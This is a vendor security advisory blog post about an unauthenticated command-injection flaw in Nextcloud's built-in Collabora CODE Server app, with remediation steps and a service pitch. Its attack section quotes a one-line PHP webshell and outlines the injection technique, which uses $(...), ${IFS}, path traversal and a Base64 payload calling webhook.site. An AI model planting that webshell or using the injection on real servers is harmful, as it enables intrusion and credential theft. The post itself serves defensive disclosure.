Nextcloud Built-in CODE Server: Unauthenticated Command Injection (CVE-2026-110447), Update to 26.4.303 or Remove the App

Have Nextcloud operated: updates and CVE monitoring instead of finding out by accident - WZ-IT checks the versions, logs and file system of your Nextcloud and supports the update, clean-up and move to a standalone Collabora server. Also when a compromise is suspected. Book an intro call · Nextcloud operations · Server audit

A Nextcloud with the app Collabora Online - Built-in CODE Server (richdocumentscode) in version 26.4.302 or older can be made to run operating system commands without logging in. The flaw has the identifier CVE-2026-110447 (CVSS 4.0: 9.2), has been exploited since September 2026, and webshells were found under apps/richdocumentscode/shx*.php on compromised servers. The fix is clear: update to 26.4.303 or newer, or remove the app. Disabling is not enough. A separately operated Collabora server is not affected.

This article explains who is affected, how the attack works, what to check right away and why 33 days passed between the patch and the CVE number.

Table of contents

• Short answer
• Who is affected
• How the attack works
• Timeline
• What to do now
• If you find something: assume compromise
• Long term: a separate Collabora server
• Patch without advisory: what follows
• Common misconceptions
• Status and method
• Our approach at WZ-IT
• Further guides

Short answer

Who is affected

Only the Nextcloud app Collabora Online - Built-in CODE Server is affected. It ships a Collabora server as an AppImage and starts it from PHP so that documents can be edited in Nextcloud without an extra service. The project description calls it easy to install, for personal use or small teams, a bit slower than a standalone server and without its scalability features.

Since version 26.4.302 the app requires Nextcloud 30 or newer. For Nextcloud 29 and older the advisory says: upgrade Nextcloud or remove the app.

How the attack works

The app starts the Collabora server from proxy.php with a command line when needed. Among other things, this command line includes the address of the font configuration, which is derived from the host and the requested URL. According to the advisory, this allows an operating system command to be injected and run as the web server user. This only works while the built-in server is not running, that is after a container restart, an upgrade or a crash.

The code diff from 26.4.302 to 26.4.303 shows the cause: the font configuration URL and the host were quoted with escapeshellarg, but the full command was inserted into a bash -c string wrapped in double quotes. Inside double quotes the shell evaluates $(...). From 26.4.303 on, the whole inner command is quoted with escapeshellarg.

The first report in GitHub issue 354 describes the observed requests:

• The target is /apps/richdocumentscode/proxy.php?status.
• The path contains %2e%2e (path traversal), $(...) (command substitution) and ${IFS} to obscure spaces.
• A Base64-encoded command is run through sh. It creates a PHP file shx*.php and calls an address at webhook.site.
• The webshell is a single line: <?php $c=$_GET['c']??'id'; echo shell_exec($c.' 2>&1');
• On one affected system the attacker then searched for files such as *.kdbx, wallet.dat, keystore.json and Bitwarden, 1Password and cryptocurrency directories. The report found no commands for uploading files, but notes that a webshell works with the rights of the web server account.

Timeline

What to do now

1. Check the version. In the Nextcloud apps management or via occ app:list, check whether richdocumentscode is installed and in which version.
2. Update or remove. Install version 26.4.303 or newer, or uninstall the app if a separate Collabora server is or will be used. After removal, check that the directory apps/richdocumentscode is gone. Disabling alone is not enough, because the files stay reachable.
3. Search for webshells. In the directory apps/richdocumentscode (or the configured app directory), look for files shx*.php (in the report also shrf4645.php), and for unknown PHP files in the app directories.
4. Check integrity. occ integrity:check-app richdocumentscode reports additional files in the signed app (EXTRA_FILE); occ integrity:check-core only checks the core. One operator in the issue noticed the attack this way.
5. Check the logs. In the web server access logs, look for requests to proxy.php that contain %2e%2e, $( or %24%28, or ${IFS}.
6. Delete remaining files. Even after the update, remove the shx*.php files if present.

If you find something: assume compromise

A webshell works with the rights of the web server user once it is called. Finding the file proves neither a call nor the extent; what that user may read and write depends on the configuration. As a precaution, assume a compromise. In practice:

• Rotate credentials that the web server user could read: database password, the secrets in config.php, object storage keys, SMTP access, app passwords and tokens.
• Check outgoing connections of the server and newly created files and users.
• Restore the instance from a state before the first attack, or have the clean-up documented and reviewed by a third party.
• Check whether notification duties apply: under Art. 33 of the GDPR the controller reports a personal data breach to the supervisory authority without undue delay and, where feasible, within 72 hours of becoming aware, unless it is unlikely to result in a risk; a processor notifies the controller without undue delay. Under Art. 34 data subjects must be notified without undue delay when the risk is likely to be high, with exceptions, for example effective protection measures or subsequent mitigation. This article does not decide whether that applies in an individual case.

Long term: a separate Collabora server

The Nextcloud documentation lists Collabora Online as a self-hosted server or as a built-in app. The built-in server starts from PHP and runs in the web server's account. A separately operated server, for example in a Docker container behind a reverse proxy, is not affected according to the advisory, because this vulnerable start path from PHP no longer exists. The installation example with Docker describes the setup. The project description calls the built-in server slower and without the advanced scaling features of a standalone server.

Patch without advisory: what follows

The fix appeared on 11 September 2026. The changelog of 26.4.303 only lists the new AppImage version and contains no security note. The CVE came 33 days later. Two things follow:

• Anyone who only reacts to CVE notices was not warned in that period although the patch was public and operators warned in the issue and the forum. App updates should therefore be applied independently of security notices.
• Anyone who only watches the Nextcloud core update misses apps that bring their own binaries and start scripts. richdocumentscode is such a case: the app starts an AppImage from PHP.

Common misconceptions

• "The app is disabled, so I am safe." No. The advisory explicitly says that disabling is not enough. The files stay in the directory and are reachable.
• "You need an account for that." No. The flaw is exploitable without logging in.
• "Collabora is affected." No. The Nextcloud app that starts the built-in server is affected. Standalone Collabora servers are not.
• "The update removed the webshell." No. The update fixes the flaw but does not guarantee a clean-up; existing files and any further persistence have to be checked separately.
• "It only happens on restart, so rarely." A restart, update or crash opens the window. Operators reported hits on several servers; how often the window occurs depends on how the server is run.

Status and method

Status 16 October 2026. The information comes from the GitHub advisory, the NVD entry (status "Received" when retrieved, so without its own NVD assessment; the CVSS figure comes from the CNA), issue 354 in the app repository, the code diff from 26.4.302 to 26.4.303, the app's release list and the Nextcloud documentation. The technical cause rests on the public code diff. The number of affected systems is not documented.

Our approach at WZ-IT

• Check: We establish the version, access logs and file system of the Nextcloud, search for shx*.php and additional files and run the integrity check.
• Fix: Update to 26.4.303 or newer, or remove the app and move to a separately operated Collabora server.
• If something turns up: We narrow down the finding, recommend rotating credentials and restore the instance from a clean state.
• Operations: In Nextcloud operations updates, backups and CVE monitoring are included; the server audit checks existing instances once.

Further guides

• Nextcloud 35 Upgrade: Path from 32, PHP and Database Requirements
• Why Enterprises Need CVE Monitoring
• Nextcloud, Seafile, OpenCloud or ownCloud: who owns your file storage
• Nextcloud operations by WZ-IT
• CVE monitoring

Check Nextcloud before someone else does: We examine the version, logs and file system of your instance, remove the vulnerable app and move you to a standalone Collabora server. Book an intro call

Sources

• NVD: CVE-2026-110447
• GitHub advisory GHSA-g3vx-3m76-fghh: Unauthenticated OS command injection in the richdocumentscode proxy
• GitHub advisory GHSA-f97p-r72q-64h2
• GitHub: richdocumentscode, issue 354 "Security issue - Hack"
• GitHub: richdocumentscode, comparison 26.4.302 to 26.4.303
• GitHub: richdocumentscode, releases and changelog
• Nextcloud forum: To Collabora Built-in User: Update ASAP
• Nextcloud App Store: Collabora Online - Built-in CODE Server
• Nextcloud documentation: Office
• Nextcloud documentation: Collabora Online with Docker
• Nextcloud documentation: integrity check (code signing)
• EUR-Lex: Regulation (EU) 2016/679 (GDPR), Art. 33 and 34